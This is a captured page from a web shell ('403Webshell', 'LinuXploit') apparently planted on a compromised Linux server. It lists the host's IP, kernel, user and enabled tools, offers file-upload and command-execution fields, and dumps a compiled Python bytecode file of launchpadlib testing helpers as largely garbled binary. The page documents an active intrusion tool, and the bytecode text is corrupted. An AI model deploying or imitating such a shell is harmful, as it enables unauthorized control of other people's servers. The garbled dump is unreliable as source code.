403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/launchpadlib/testing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/launchpadlib/testing/__pycache__/helpers.cpython-314.pyc
+
Z4i���2�Rt.ROt^RIHt^RIt^R	IHt^R
IHtH	t	H
t
]!4tRt
!RR]
4t!R
R]4t!RR]4t]R4t!RR4t!RR4t!RR4t!RR4t]!RR4t]!RR4t]!RR4tR#)zlaunchpadlib testing helpers.�BadSaveKeyring�FauxSocketModule�InMemoryKeyring�NoNetworkAuthorizationEngine�NoNetworkLaunchpad�TestableLaunchpad)�contextmanagerN)�	Launchpad)�AccessToken�Credentials�RequestTokenAuthorizationEnginec�b�\\PR\4\JgQR4hR#)�keyringz>During tests the real keyring module should never be imported.N)�getattr�launchpadlib�credentials�missing���>/usr/lib/python3/dist-packages/launchpadlib/testing/helpers.py�assert_keyring_not_importedr0s+����(�(�)�W�=��H�H�G�H�Hrc�Faa�]tRt^6toRtRtV3RltRtRtRt	Vt
V;t#)raAn authorization engine that doesn't open a web browser.

You can use this to test the creation of Launchpad objects and the
storing of credentials. You can't use it to interact with the web
service, since it only pretends to authorize its OAuth request tokens.
z
access_key:84c�D<�\SV`!V/VB^Vn^VnR#)�N)�super�__init__�request_tokens_obtained�access_tokens_obtained)�self�args�kwargs�	__class__s&*,�rr�%NoNetworkAuthorizationEngine.__init__@s%���
���$�)�&�)�'(��$�&'��#rc�8�V;P^,
unR#)zcPretend to get a request token from the server.

We do this by simply returning a static token ID.
zrequest_token:42)r)rrs&&r�get_request_token�.NoNetworkAuthorizationEngine.get_request_tokenFs��
	
�$�$��)�$�!rc�n�\VPR4VnV;P^,
unR#)zrPretend to exchange a request token for an access token.

We do this by simply setting the access_token property.
zaccess_secret:168N)r
�ACCESS_TOKEN_KEY�access_tokenr)rr�
request_tokens&&&r�make_end_user_authorize_token�:NoNetworkAuthorizationEngine.make_end_user_authorize_tokenNs0��
$/��!�!�#6�$
�� �	
�#�#�q�(�#r)rr)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r'rr$r*�__static_attributes__�__classdictcell__�
__classcell__�r!�
__classdict__s@@rrr6s&�����'��(�"�)�)rc�:a�]tRt^YtoRtRt]R4tRtVt	R#)rz�A Launchpad instance for tests with no network access.

It's only useful for making sure that certain methods were called.
It can't be used to interact with the API.
c	�T�WnW nW0n\VVVVVR7VnR#)��service_root�cache�timeout�
proxy_info�versionN)r�authorization_engine�credential_store�dict�passed_in_args)	rrr>r?r9r:r;r<r=s	&&&&&&&&&rr�NoNetworkLaunchpad.__init__`s2��'��$8�!� 0��"�%���!��
��rc��\V!#�N)r)�clsrs&*r�authorization_engine_factory�/NoNetworkLaunchpad.authorization_engine_factoryvs
��+�T�2�2r)r>r?rrAN)
r,r-r.r/r0r�classmethodrFr1r2�r5s@rrrYs#�����
�,�3��3rc�\aa�]tRt^{toRtRRRRRR]P3V3RlltRtVt	V;t
#)rz5A base class for talking to the testing root service.N�test_devc	�6<�\S	V`VVVVVVVVR7R#)a,Provide test-friendly defaults.

:param authorization_engine: Defaults to None, since a test
    environment can't use an authorization engine.
:param credential_store: Defaults to None, since tests
    generally pass in fully-formed Credentials objects.
:param service_root: Defaults to 'test_dev'.
r8N)rr)
rrr>r?r9r:r;r<r=r!s
&&&&&&&&&�rr�TestableLaunchpad.__init__~s/���&	���� ��%���!��	�		
rr)r,r-r.r/r0r	�DEFAULT_VERSIONrr1r2r3r4s@@rrr{s/����?�
"�������)�)�
�
rc#�"�\4V\Pn\\PnRx�\P=\P=R# \P=\P=i;i5i)zAA context manager which injects a testing keyring implementation.N)rrrr�RuntimeError�NoKeyringError)�fakes&r�fake_keyringrS�sd��� �!�'+�L���$�.:�L���+�4�
��$�$�,��$�$�3��
�$�$�,��$�$�3�s�9B�A"�"B�""B�Bc�*a�]tRt^�toRtRtRtVtR#)rz:A socket module replacement that provides a fake hostname.c��R#)�HOSTNAMEr�rs&r�gethostname�FauxSocketModule.gethostname�s��rrN)r,r-r.r/r0rXr1r2rIs@rrr�s����D��rc�0a�]tRt^�toRtRtRtRtVtR#)rz6A keyring that generates errors when saving passwords.c��R#rDr�r�service�usernames&&&r�get_password�BadSaveKeyring.get_password�s��rc��\hrD)rP�rr]r^�passwords&&&&r�set_password�BadSaveKeyring.set_password�s���rrN)	r,r-r.r/r0r_rdr1r2rIs@rrr�s����@���rc�6a�]tRt^�toRtRtRtRtRtVt	R#)rz.A keyring that saves passwords only in memory.c��/VnR#rD��datarWs&rr�InMemoryKeyring.__init__�s	����	rc�$�W0PW3&R#rDrhrbs&&&&rrd�InMemoryKeyring.set_password�s��'/�	�	�'�#�$rc�:�VPPW34#rD)ri�getr\s&&&rr_�InMemoryKeyring.get_password�s���y�y�}�}�g�0�1�1rrhN)
r,r-r.r/r0rrdr_r1r2rIs@rrr�s����8��0�2�2rc�Pa�]tRt^�toRtRtRRR]P3RltRt	Vt
R#)�KnownTokensz'Known access token/secret combinations.c�v�WnW n\W4Vn\	RVPR7VnR#)zlaunchpad-library)�
consumer_namer(N)�token_string�
access_secretr
�tokenrr)rrtrus&&&rr�KnownTokens.__init__�s0��(��*�� ��=��
�&�-�D�J�J�
��rNc�6�\VPVVVVR7#)z2Create a Launchpad object using these credentials.)r:r;r<r=)rr)rr:r;r<r=s&&&&&r�login�KnownTokens.login�s&��!������!��
�	
r)rurrvrt)r,r-r.r/r0rr	rNryr1r2rIs@rrqrq�s+����1�
�����)�)�
�
rrqzsalgado-change-anything�testzsalgado-read-nonprivate�secretznopriv-read-nonprivate�mystery)
rrSrrrrr�nopriv_read_nonprivate�salgado_read_nonprivate�salgado_with_full_permissions)r0�__all__�
contextlibrr�launchpadlib.launchpadr	�launchpadlib.credentialsr
rr�objectrrrrrrSrrrrqr�rr~rrr�<module>r�s���&$���&��,����(��H� )�#B� )�F3��3�D
�	�
�D�
4��
4�����
2�
2�
�
�8!,�,E�v� N��%�&?��J��$�%=�y�I�r

Youez - 2016 - github.com/yon3zu
LinuXploit